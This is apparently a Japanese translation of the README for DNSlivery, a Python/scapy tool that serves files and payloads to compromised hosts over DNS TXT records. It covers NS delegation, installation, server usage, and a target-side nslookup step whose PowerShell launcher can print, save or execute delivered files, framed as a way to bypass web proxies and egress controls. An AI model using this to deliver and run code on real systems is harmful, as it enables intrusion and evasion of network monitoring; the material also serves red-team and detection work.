
DNSを介した簡単なファイルおよびペイロードの配信
DNSを介した簡単なファイル・ペイロード配信ツール。
このプロジェクトは、元々PowerDNSと、Paul's Security Weeklyポッドキャスト#590(youtu.be/CP6cIwFJswQ)におけるJoff Thyer氏の技術セグメントに触発されたものです。
DNSliveryは、DNSを転送プロトコルとして使用し、ターゲットにファイルを配信することができます。
特徴:

従来のWeb配信が不可能な侵害済みターゲットに対して、専用のクライアントソフトウェアを必要とせずにファイルやペイロードを簡単に配信します。これは、送信Webトラフィックが禁止されている、または好奇心旺盛なWebプロキシによって検査されている制限された環境に適用されます。

より完全なDNSトンネリングツール(dnscat2やiodineなど)は既に存在しますが、それらはすべてターゲット上で専用クライアントを実行する必要があります。問題は、そのような制限された環境では、クライアントを配信する方法がDNS以外にない可能性が高いことです。言い換えれば、これらのツールでDNS通信チャネルを構築するには、既にDNS通信チャネルを持っている必要があるのです。
これに対してDNSliveryは、サーバーからターゲットへの一方向通信のみを提供しますが、そのために専用クライアントを必要としません。したがって、DNSを介して信頼性の高い双方向通信チャネルを構築する必要がある場合は、DNSliveryを使用して、より高度なDNSトンネリングツールのクライアントをターゲットに配信してください。
ほとんどのDNSトンネリングツールと同様に、DNSliveryはTXTレコードを使用して、ファイルの内容をbase64表現で保存します。ただし、動作に本格的なDNSサーバーのセットアップは必要ありません。代わりに、scapyライブラリを使用して、受信したDNSパケットをリッスンし、目的の応答を作成します。

ほとんどのファイルは単一のTXTレコードに収まらないため、DNSliveryはファイルのbase64チャンクを含む複数の順序付けられたレコードを作成します。例として、上記の図はfileという名前のファイルの42番目のチャンクの配信を示しています。
ターゲット上で専用クライアントを必要とせずにすべてのbase64チャンクを取得して再結合するために、DNSliveryはファイルごとに以下を生成します:

この2段階配信プロセスは、単一のTXTレコードに収まらないステージャーに機能(紛失したDNS応答の処理など)を追加するために必要です。
現在、PowerShellターゲットのみがサポートされています。ただし、DNSliveryはbashやpythonなどの追加ターゲットをサポートするように改善できる可能性があります。この機能の実装をご希望の場合は、@no0beまでお知らせください。
DNSliveryは複雑なサーバーインフラストラクチャの構築を必要としません。実際、単純な要件が2つだけあります:
NSレコードを作成できることudp/53トラフィックを受信できるLinuxサーバーがあること最初のステップは、ドメインに新しいNSレコードを作成して、DNSliveryを実行するサーバーにサブドメインを委任することです。例として、サブドメインdnsd.no0.beをサーバーvps.no0.beに委任するために、次のレコードを作成しました。
dnsd IN NS vps.no0.be.
ゾーンがサードパーティプロバイダーによって管理されている場合は、そのドキュメントを参照してNSレコードを作成してください。
DNSliveryを実行するための唯一の要件は、python3とそのscapyライブラリです。
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSliveryは、指定されたディレクトリ(デフォルトではpwd)のすべてのファイルを提供し、受信するudp/53パケットをリッスンするためにroot権限で実行する必要があります。
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
例:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
ドメイン名に許可される文字セットはUNIXファイル名よりもはるかに制限されているため(RFC1035による)、DNSliveryは必要に応じて正規化を実行します。
例:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
現在の正規化コードは、重複するファイル名やサイズ制限を考慮していないため、完全ではないことに注意してください。
ターゲット上では、まず目的のファイルの専用TXTレコードを要求してランチャーを取得します。次の3つのランチャーがサポートされています:
| アクション |
|---|
nslookup -type=txt [filename].[stager].[domain]
次に、DNS応答で引用されたランチャーをPowerShellコンソールにコピー&ペーストするだけで、ターゲット上でファイルを取得できます。
例:

| ランチャー |
|---|
| 説明 |
|---|
| 表示 | [filename].print.[domain] | (デフォルト) 配信されたファイルをコンソールに表示 |
| 実行 | [filename].exec.[domain] | 配信されたファイルを実行(スクリプトに便利) |
| 保存 | [filename].save.[domain] | 配信されたファイルをディスクに保存(バイナリに便利) |